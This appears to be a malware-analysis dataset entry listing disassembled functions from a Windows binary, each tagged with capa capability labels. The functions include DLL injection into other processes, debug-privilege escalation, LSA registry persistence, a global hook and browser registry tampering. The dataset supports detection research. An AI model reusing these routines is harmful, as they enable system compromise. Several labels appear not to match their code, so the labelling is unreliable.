joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1002c158
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
lea eax, [ebp - 4]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1002c1be
push esi
lea eax, [ebp - 0x10]
push eax
push str.SeDebugPrivilege
xor esi, esi
push esi
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x1002c1b0
push esi
push esi
push esi
lea eax, [ebp - 0x14]
push eax
push esi
push dword [ebp - 4]
mov dword [ebp - 0x14], 1
mov dword [ebp - 8], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x1002c1b0
inc esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
leave
ret
xor eax, eax
leave
ret

Function at 0x1002c1c2
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
mov eax, dword [0x10084500]
push ebx
push esi
push edi
mov esi, 0x420
push esi
mov dword [ebp - 4], eax
xor ebx, ebx
lea eax, [ebp - 0x424]
push ebx
push eax
call fcn.10056960
add esp, 0xc
push dword [ebp + 8]
push esi
push ebx
push 4
push ebx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push ebx
push ebx
push ebx
push 0xf001f
push eax
mov dword [ebp - 0x428], eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov edi, eax
cmp edi, ebx
je 0x1002c253
push esi
lea eax, [ebp - 0x424]
push edi
push eax
call fcn.10056df0
push 0x104
lea eax, [ebp - 0x31c]
push ebx
push eax
call fcn.10056960
push esi
lea eax, [ebp - 0x424]
push eax
push edi
call fcn.10056df0
add esp, 0x24
push edi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov bl, 1
push dword [ebp - 0x428]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
pop esi
mov al, bl
pop ebx
call fcn.100568ae
leave
ret
Function at 0x1002cb2e
Capabilities:
Get common file path
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x10084500]
mov dword [ebp - 4], eax
mov eax, dword [0x10089bbc]
push ebx
xor ebx, ebx
cmp eax, ebx
jne 0x1002cb94
push 0x104
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
test eax, eax
je 0x1002cb8f
push ebx
push ebx
push ebx
push ebx
push 0x10089bbc
push ebx
push ebx
lea eax, [ebp - 0x108]
push eax
mov byte [ebp - 0x105], bl
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
jne 0x1002cb8f
mov eax, 0xfdec
mov dword [0x10089bbc], eax
jmp 0x1002cb94
mov eax, dword [0x10089bbc]
cmp dword [ebp + 8], ebx
pop ebx
je 0x1002cb9d
xor eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
call fcn.100568ae
leave
ret

Function at 0x1002cba7
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x10084500]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x10]
test eax, eax
mov word [ebp - 0x34], 0x62
mov word [ebp - 0x32], 0x64
mov word [ebp - 0x30], 0x66
mov word [ebp - 0x2e], 0x67
mov word [ebp - 0x2c], 0x68
mov word [ebp - 0x2a], 0x6a
mov word [ebp - 0x28], 0x6b
mov word [ebp - 0x26], 0x6c
mov word [ebp - 0x24], 0x6d
mov word [ebp - 0x22], 0x6e
mov word [ebp - 0x20], 0x70
mov word [ebp - 0x1e], 0x72
mov word [ebp - 0x1c], 0x73
mov word [ebp - 0x1a], 0x74
mov word [ebp - 0x18], 0x76
mov word [ebp - 0x16], 0x77
mov word [ebp - 0x14], 0x79
mov word [ebp - 0x12], 0x7a
mov word [ebp - 0x10], 0x61
mov word [ebp - 0xe], 0x65
mov word [ebp - 0xc], 0x69
mov word [ebp - 0xa], 0x6f
mov word [ebp - 8], 0x75
jne 0x1002cc4c
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push esi
push edi
push eax
call fcn.100583bb
mov edi, dword [ebp + 8]
xor esi, esi
cmp dword [ebp + 0xc], esi
pop ecx
jle 0x1002cc97
mov eax, esi
push 2
cdq
pop ecx
idiv ecx
test edx, edx
jne 0x1002cc7d
call fcn.100583c8
push 0x12
cdq
pop ecx
idiv ecx
mov dx, word [ebp + edx*2 - 0x34]
jmp 0x1002cc8d
call fcn.100583c8
push 5
cdq
pop ecx
idiv ecx
mov dx, word [ebp + edx*2 - 0x10]
mov word [edi + esi*2], dx
inc esi
cmp esi, dword [ebp + 0xc]
jl 0x1002cc5f
and word [edi + esi*2], 0
mov ecx, dword [ebp - 4]
pop edi
pop esi
call fcn.100568ae
leave
ret
Function at 0x1002ce8b
Capabilities:
Delete registry key
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x2a8]
sub esp, 0x328
mov eax, dword [0x10084500]
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
push esi
push edi
mov dword [ebp + 0x2a4], eax
lea eax, [ebp - 0x6c]
push eax
mov edi, str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerBrowser_Helper_Objects_
push edi
mov esi, 0x80000002
push esi
call ebx
cmp eax, 5
jne 0x1002ced5
push edi
push esi
call fcn.1002bc33
pop ecx
pop ecx
lea eax, [ebp - 0x6c]
push eax
push edi
push esi
call ebx
test eax, eax
jne 0x1002cfdc
and dword [ebp - 0x70], eax
mov esi, 0x104
push esi
lea eax, [ebp + 0x9c]
push eax
push 0
push dword [ebp - 0x6c]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
test eax, eax
jne 0x1002cfd3
mov edi, 0x80000000
inc dword [ebp - 0x70]
lea eax, [ebp + 0x1a0]
push str.CLSID_
push eax
call fcn.10057da0
lea eax, [ebp + 0x9c]
push eax
lea eax, [ebp + 0x1a0]
push eax
call fcn.10057db0
add esp, 0x10
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp + 0x1a0]
push eax
push edi
call ebx
test eax, eax
jne 0x1002cfb7
lea eax, [ebp - 0x78]
push eax
push str.InprocServer32
push dword [ebp - 0x74]
call ebx
test eax, eax
jne 0x1002cfb7
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x80]
push eax
push 0
push 0
push dword [ebp - 0x78]
mov dword [ebp - 0x7c], esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1002cfb7
push dword [ebp + 0x2b0]
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x1002cfb7
lea eax, [ebp + 0x9c]
push eax
push dword [ebp - 0x6c]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
push dword [ebp - 0x78]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push dword [ebp - 0x74]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp + 0x1a0]
push eax
push edi
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
push esi
lea eax, [ebp + 0x9c]
push eax
push dword [ebp - 0x70]
push dword [ebp - 0x6c]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
test eax, eax
je 0x1002cf05
push dword [ebp - 0x6c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp + 0x2a4]
pop edi
pop esi
pop ebx
call fcn.100568ae
add ebp, 0x2a8
leave
ret
Function at 0x1002d398
Capabilities:
Persist via lsa registry key
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
lea ebp, [esp - 0xa0]
sub esp, 0x120
mov eax, dword [0x10084500]
push ebx
xor ebx, ebx
cmp dword [ebp + 0xa8], ebx
mov dword [ebp + 0x9c], eax
je 0x1002d54e
cmp dword [ebp + 0xac], 1
jb 0x1002d54e
push dword [ebp + 0xa8]
call dword [sym.imp.SHLWAPI.dll_PathRemoveExtensionA]
sub dword [ebp + 0xac], 4
push ebx
lea eax, [ebp - 0x70]
push eax
push ebx
push 0xf003f
push ebx
push ebx
push ebx
push str.SYSTEMCurrentControlSetControlLsa
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x1002d54e
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp - 0x6c]
push eax
push ebx
lea eax, [ebp - 0x80]
push eax
push ebx
push str.Authentication_Packages
push dword [ebp - 0x70]
call esi
test eax, eax
jne 0x1002d54d
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
push 0x1000
push dword [ebp - 0x6c]
push ebx
call edi
lea ecx, [ebp - 0x6c]
push ecx
push eax
push ebx
push ebx
push str.Authentication_Packages
push dword [ebp - 0x70]
mov dword [ebp - 0x78], eax
call esi
test eax, eax
jne 0x1002d54c
push 4
push 0x1000
push dword [ebp - 0x6c]
xor esi, esi
push ebx
call edi
push dword [ebp - 0x6c]
mov dword [ebp - 0x74], eax
push dword [ebp - 0x78]
push eax
call fcn.10056df0
mov eax, dword [ebp - 0x6c]
add esp, 0xc
dec eax
je 0x1002d4bb
mov eax, dword [ebp - 0x74]
add eax, esi
push eax
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x1006fca8
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x1002d4bb
mov eax, dword [ebp - 0x74]
add eax, esi
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esi + eax + 1]
mov eax, dword [ebp - 0x6c]
dec eax
cmp esi, eax
jb 0x1002d480
mov eax, dword [ebp + 0xac]
push 4
mov dword [ebp - 0x6c], esi
push 0x1000
lea esi, [esi + eax + 2]
push esi
push ebx
call edi
push esi
mov edi, eax
push ebx
push edi
mov dword [ebp - 0x7c], edi
call fcn.10056960
push dword [ebp - 0x6c]
push dword [ebp - 0x78]
push edi
call fcn.10056df0
push dword [ebp + 0xac]
mov eax, dword [ebp - 0x6c]
push dword [ebp + 0xa8]
add eax, edi
push eax
call fcn.10056df0
add esp, 0x24
push esi
push edi
push dword [ebp - 0x80]
push ebx
push str.Authentication_Packages
push dword [ebp - 0x70]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFree]
mov edi, 0x8000
push edi
push ebx
push dword [ebp - 0x78]
call esi
push edi
push ebx
push dword [ebp - 0x7c]
call esi
push edi
push ebx
push dword [ebp - 0x74]
call esi
push dword [ebp - 0x70]
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
push dword [ebp - 0x70]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
mov ecx, dword [ebp + 0x9c]
pop ebx
call fcn.100568ae
add ebp, 0xa0
leave
ret
Function at 0x1002db87
Capabilities:
Set global application hook

Disassembly:
push 0
push dword [0x10085db4]
push 0x1002d381
push 3
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
push 0
push 0
push 0x400
push 0xffff
call dword [sym.imp.USER32.dll_PostMessageA]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, 1
ret

Function at 0x1002dc00
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x190
mov eax, dword [0x10084500]
push esi
push edi
mov esi, 0x128
push esi
mov dword [ebp - 4], eax
xor edi, edi
lea eax, [ebp - 0x190]
push edi
push eax
call fcn.10056960
add esp, 0xc
push edi
push 2
mov dword [ebp - 0x190], esi
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
push 0x64
mov esi, eax
lea eax, [ebp - 0x68]
push edi
push eax
call fcn.10056960
add esp, 0xc
push dword [ebp + 8]
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x190]
push eax
push esi
call sub.KERNEL32.dll_Process32First
jmp 0x1002dc98
lea eax, [ebp - 0x16c]
push eax
call fcn.1005a02f
mov edi, eax
lea eax, [ebp - 0x68]
push eax
call fcn.1005a02f
push eax
push edi
call fcn.10059f7d
add esp, 0x10
test eax, eax
jne 0x1002dcb1
lea eax, [ebp - 0x190]
push eax
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x1002dc66
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
call fcn.100568ae
leave
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x188]
jmp 0x1002dca5

Function at 0x1002dcc0
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ecx
push ecx
push ebp
xor ebp, ebp
cmp dword [esp + 0x10], ebp
je 0x1002dcdc
mov dword [esp + 4], ebp
mov dword [esp + 8], ebp
call fcn.1002c158
test eax, eax
jne 0x1002dce3
xor eax, eax
jmp 0x1002ddab
push edi
push dword [esp + 0x14]
mov dword [0x10085f90], 1
push ebp
push 0x42a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
cmp edi, ebp
je 0x1002dda6
push ebx
push esi
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push 4
mov esi, eax
push 0x1000
inc esi
push esi
push ebp
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebx, eax
cmp ebx, ebp
je 0x1002dd9d
push ebp
push esi
push dword [esp + 0x28]
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1002dd80
push 0x1006fd10
push str.Kernel32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebp
je 0x1002dd80
push ebp
push ebp
push ebx
push eax
push ebp
push ebp
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
cmp esi, ebp
je 0x1002dd84
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [esp + 0x10], 1
jmp 0x1002dd84
mov esi, dword [esp + 0x14]
push 0x8000
push ebp
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
cmp esi, ebp
je 0x1002dd9d
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop ebx
mov eax, dword [esp + 8]
pop edi
pop ebp
pop ecx
pop ecx
ret 8
Function at 0x1002e0f4
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
mov eax, dword [0x10084500]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x68]
push ebx
push eax
call fcn.1002b539
pop ecx
lea eax, [ebp - 0x68]
push eax
push 0
push 4
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
mov ebx, eax
test ebx, ebx
je 0x1002e167
push edi
push 0
push 0
push 0
push 4
push ebx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov edi, eax
test edi, edi
je 0x1002e15f
push edi
call fcn.10056d60
test eax, eax
pop ecx
je 0x1002e14d
push edi
mov ecx, 0x1008403c
call fcn.10001619
mov al, byte [edi + 0x104]
push edi
mov byte [0x10085fc3], al
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov ecx, dword [ebp - 4]
pop ebx
call fcn.100568ae
leave
ret

Function at 0x1002e802
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
mov eax, 0x10068f47
call fcn.100575f8
push ecx
push ebx
mov ebx, ecx
push esi
mov esi, dword [ebp + 8]
mov eax, dword [esi]
mov dword [ebx], eax
mov eax, dword [esi + 4]
mov dword [ebx + 4], eax
mov eax, dword [esi + 8]
mov dword [ebx + 8], eax
mov eax, dword [esi + 0xc]
mov dword [ebx + 0xc], eax
mov eax, dword [esi + 0x10]
mov dword [ebx + 0x10], eax
mov eax, dword [esi + 0x14]
mov dword [ebx + 0x14], eax
mov al, byte [esi + 0x18]
mov byte [ebx + 0x18], al
mov eax, dword [esi + 0x1c]
mov dword [ebx + 0x1c], eax
push edi
lea eax, [esi + 0x20]
push eax
lea ecx, [ebx + 0x20]
mov dword [ebp - 0x10], ebx
call fcn.1002e74e
mov eax, dword [esi + 0x30]
mov dword [ebx + 0x30], eax
mov eax, dword [esi + 0x34]
and dword [ebp - 4], 0
mov dword [ebx + 0x34], eax
mov eax, dword [esi + 0x38]
mov dword [ebx + 0x38], eax
mov eax, dword [esi + 0x3c]
mov dword [ebx + 0x3c], eax
mov eax, dword [esi + 0x40]
mov dword [ebx + 0x40], eax
mov eax, dword [esi + 0x44]
mov dword [ebx + 0x44], eax
mov eax, dword [esi + 0x48]
mov dword [ebx + 0x48], eax
mov eax, dword [esi + 0x4c]
mov dword [ebx + 0x4c], eax
lea eax, [esi + 0x50]
push eax
lea ecx, [ebx + 0x50]
call fcn.1002e0b7
mov eax, dword [esi + 0x88]
mov dword [ebx + 0x88], eax
mov eax, dword [esi + 0x8c]
mov dword [ebx + 0x8c], eax
mov eax, dword [esi + 0x90]
mov dword [ebx + 0x90], eax
mov eax, dword [esi + 0x94]
mov dword [ebx + 0x94], eax
mov eax, dword [esi + 0x98]
mov dword [ebx + 0x98], eax
mov eax, dword [esi + 0x9c]
mov dword [ebx + 0x9c], eax
mov eax, dword [ebp + 8]
add esi, 0xa0
lea edi, [ebx + 0xa0]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov ecx, dword [eax + 0xb0]
mov dword [ebx + 0xb0], ecx
mov ecx, dword [eax + 0xb4]
mov dword [ebx + 0xb4], ecx
mov ecx, dword [eax + 0xb8]
add eax, 0xbc
mov dword [ebx + 0xb8], ecx
push eax
lea ecx, [ebx + 0xbc]
mov byte [ebp - 4], 1
call fcn.100015f3
mov eax, ebx
pop edi
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 4
Function at 0x1002f19e
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push edi
lea ecx, [esi + 0x1c]
call fcn.10009e00
mov dword [ebp - 8], 0x1002e9ca
lea eax, [ebp - 4]
push eax
xor edi, edi
push edi
push esi
push dword [ebp - 8]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
push esi
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push edi
push edi
push 1
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
pop edi
mov dword [esi + 0x18], eax
pop esi
leave
ret
Function at 0x10030435
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, dword [esi + 0x24]
push edi
mov edi, dword [esi + 0x34]
sub edi, dword [esi + 0x6c]
mov eax, dword [esi + 0x64]
mov ecx, dword [esi + 0x24]
sub edi, eax
lea ecx, [ebx + ecx - 0x106]
cmp eax, ecx
mov dword [ebp - 8], edi
jb 0x100304c2
mov eax, dword [esi + 0x30]
push ebx
lea ecx, [eax + ebx]
push ecx
push eax
call fcn.10056df0
mov eax, dword [esi + 0x44]
mov ecx, dword [esi + 0x3c]
sub dword [esi + 0x68], ebx
sub dword [esi + 0x64], ebx
add esp, 0xc
sub dword [esi + 0x54], ebx
mov dword [ebp - 4], eax
lea eax, [ecx + eax*2]
dec eax
dec eax
movzx ecx, word [eax]
mov edx, ecx
sub edx, ebx
cmp ecx, ebx
sbb ecx, ecx
not ecx
and ecx, edx
dec dword [ebp - 4]
mov word [eax], cx
jne 0x10030482
mov eax, dword [esi + 0x38]
mov dword [ebp - 4], ebx
lea eax, [eax + ebx*2]
dec eax
dec eax
movzx ecx, word [eax]
mov edx, ecx
sub edx, ebx
cmp ecx, ebx
sbb ecx, ecx
not ecx
and ecx, edx
dec dword [ebp - 4]
mov word [eax], cx
jne 0x100304a4
add edi, ebx
mov dword [ebp - 8], edi
mov edi, dword [esi]
cmp dword [edi + 4], 0
je 0x10030580
mov eax, dword [esi + 0x6c]
add eax, dword [esi + 0x64]
mov ecx, dword [edi + 4]
add eax, dword [esi + 0x30]
mov edx, dword [ebp - 8]
cmp ecx, edx
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], ecx
jbe 0x100304ea
mov dword [ebp - 4], edx
mov edx, dword [ebp - 4]
test edx, edx
jne 0x100304f5
xor eax, eax
jmp 0x10030541
sub ecx, edx
mov dword [edi + 4], ecx
mov ecx, dword [edi + 0x1c]
mov ecx, dword [ecx + 0x18]
cmp ecx, 1
jne 0x10030512
push edx
push dword [edi]
push dword [edi + 0x30]
call fcn.1002fe96
jmp 0x10030522
cmp ecx, 2
jne 0x1003052b
push edx
push dword [edi]
push dword [edi + 0x30]
call fcn.100301fc
mov dword [edi + 0x30], eax
mov eax, dword [ebp - 0xc]
add esp, 0xc
push dword [ebp - 4]
push dword [edi]
push eax
call fcn.10056df0
mov eax, dword [ebp - 4]
add dword [edi], eax
add esp, 0xc
add dword [edi + 8], eax
add dword [esi + 0x6c], eax
mov edi, dword [esi + 0x6c]
cmp edi, 3
jb 0x1003056c
mov eax, dword [esi + 0x64]
mov ecx, dword [esi + 0x30]
lea edx, [eax + ecx]
movzx eax, byte [edx]
mov ecx, dword [esi + 0x50]
mov dword [esi + 0x40], eax
shl eax, cl
movzx ecx, byte [edx + 1]
xor eax, ecx
and eax, dword [esi + 0x4c]
mov dword [esi + 0x40], eax
cmp edi, 0x106
jae 0x10030580
mov eax, dword [esi]
cmp dword [eax + 4], 0
jne 0x10030440
pop edi
pop ebx
leave
ret
Function at 0x10033d5c
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x2b0]
sub esp, 0x330
mov eax, dword [0x10084500]
push ebx
mov dword [ebp + 0x2ac], eax
lea eax, [ebp - 0x68]
push eax
xor ebx, ebx
push 0x20019
push ebx
push str.Software
push 0x80000001
mov dword [ebp - 0x68], ebx
mov byte [ebp + 0xa4], bl
mov byte [ebp - 0x61], bl
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10033e8f
push esi
push edi
lea edi, [ebp - 0x78]
mov dword [ebp - 0x7c], ebx
stosd dword es:[edi], eax
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
lea eax, [ebp - 0x7c]
push eax
push ebx
push ebx
push ebx
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp + 0x1a8]
push eax
mov byte [ebp + 0x1a8], bl
mov esi, 0x104
mov dword [ebp - 0x6c], ebx
push ebx
jmp 0x10033e74
inc dword [ebp - 0x6c]
cmp byte [ebp - 0x61], bl
jne 0x10033e84
push str.Options
lea eax, [ebp + 0x1a8]
push eax
push str.Software
lea eax, [ebp + 0xa4]
push str._s_s_s_
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
lea eax, [ebp - 0x74]
push eax
push 0x20019
push ebx
lea eax, [ebp + 0xa4]
push eax
push 0x80000001
mov dword [ebp - 0x74], ebx
mov byte [ebp - 0x60], bl
mov dword [ebp - 0x80], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10033e5f
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x60]
push eax
push ebx
push ebx
push str.RegEmail
push dword [ebp - 0x74]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x10033e56
mov byte [ebp - 0x61], 1
push dword [ebp - 0x74]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x7c]
push eax
push ebx
push ebx
push ebx
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp + 0x1a8]
push eax
push dword [ebp - 0x6c]
push dword [ebp - 0x68]
mov dword [ebp - 0x70], esi
call edi
test eax, eax
je 0x10033ddb
push dword [ebp - 0x68]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
mov ecx, dword [ebp + 0x2ac]
movzx eax, byte [ebp - 0x61]
pop ebx
call fcn.100568ae
add ebp, 0x2b0
leave
ret 4

Function at 0x100344e6
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
test esi, esi
je 0x1003456d
push 4
push esi
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x1003456d
cmp dword [esi + 0x1a4], eax
je 0x1003456d
and dword [ebp + 8], eax
lea eax, [ebp + 8]
push eax
push 0xf003f
push 0
push str.SoftwareMicrosoftInternet_ExplorerMain
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1003456d
mov ecx, dword [esi + 0x1a4]
lea eax, [esi + 0x190]
cmp dword [eax + 0x18], 0x10
jb 0x1003453f
mov eax, dword [eax + 4]
jmp 0x10034542
add eax, 4
push ecx
push eax
push 1
push 0
push 0x10073e50
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
inc eax
jmp 0x1003456f
xor eax, eax
pop esi
pop ebp
ret 4
Function at 0x10035769
Capabilities:
Parse credit card information

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ecx + 0x18]
and dword [ebp - 4], 0
test eax, eax
jne 0x10035785
push 0x100899ac
mov ecx, dword [ebp + 8]
jmp 0x10035960
cmp eax, 1
jne 0x10035791
push 0x10088b54
jmp 0x1003577d
cmp eax, 2
jne 0x1003579d
push 0x10086440
jmp 0x1003577d
cmp eax, 3
jne 0x100357a9
push 0x100871d4
jmp 0x1003577d
cmp eax, 4
jne 0x100357b5
push 0x1008964c
jmp 0x1003577d
cmp eax, 5
jne 0x100357c1
push 0x100885f4
jmp 0x1003577d
cmp eax, 6
jne 0x100357cd
push 0x1008995c
jmp 0x1003577d
cmp eax, 0xa
jne 0x100357d9
push 0x100876e8
jmp 0x1003577d
cmp eax, 0xd
jne 0x100357e5
push 0x10088440
jmp 0x1003577d
cmp eax, 0xe
jne 0x100357f1
push 0x10089a3c
jmp 0x1003577d
cmp eax, 0xf
jne 0x100357fd
push 0x10089a64
jmp 0x1003577d
cmp eax, 0x11
jne 0x1003580c
push 0x10088d84
jmp 0x1003577d
cmp eax, 0x15
jne 0x1003581b
push 0x1008895c
jmp 0x1003577d
cmp eax, 0x16
jne 0x1003582a
push 0x10087384
jmp 0x1003577d
cmp eax, 0x18
jne 0x10035839
push 0x10088d5c
jmp 0x1003577d
cmp eax, 0x19
jne 0x10035848
push 0x10088514
jmp 0x1003577d
cmp eax, 0x1b
jne 0x10035857
push 0x1008684c
jmp 0x1003577d
cmp eax, 0x1c
jne 0x10035866
push 0x10087128
jmp 0x1003577d
cmp eax, 0x1d
jne 0x10035875
push 0x1008849c
jmp 0x1003577d
cmp eax, 0x22
jne 0x10035884
push 0x10087464
jmp 0x1003577d
cmp eax, 0x24
jne 0x10035893
push 0x1008801c
jmp 0x1003577d
cmp eax, 0x3b
jne 0x100358a2
push 0x10088adc
jmp 0x1003577d
cmp eax, 0x3e
jne 0x100358b1
push 0x100863f0
jmp 0x1003577d
cmp eax, 0x42
jne 0x100358c0
push 0x10087cc4
jmp 0x1003577d
cmp eax, 0x3f
jne 0x100358cf
push 0x10089934
jmp 0x1003577d
cmp eax, 0x25
jne 0x100358de
push 0x10088564
jmp 0x1003577d
cmp eax, 0x33
jne 0x100358ed
push 0x10089270
jmp 0x1003577d
cmp eax, 0x26
jne 0x100358fc
push 0x100880fc
jmp 0x1003577d
cmp eax, 0x27
jne 0x1003590b
push 0x10087cec
jmp 0x1003577d
cmp eax, 0x28
jne 0x1003591a
push 0x100867a8
jmp 0x1003577d
cmp eax, 0x2c
jne 0x10035929
push 0x10086f1c
jmp 0x1003577d
cmp eax, 0x37
jne 0x10035938
push 0x100873e0
jmp 0x1003577d
cmp eax, 0x44
jne 0x10035947
push 0x1008951c
jmp 0x1003577d
cmp eax, 0x47
mov ecx, dword [ebp + 8]
jne 0x10035956
push 0x10088fcc
jmp 0x10035960
cmp eax, 0x48
jne 0x10035967
push 0x10088254
call fcn.10001636
jmp 0x1003596c
call fcn.10002e22
mov eax, dword [ebp + 8]
leave
ret 4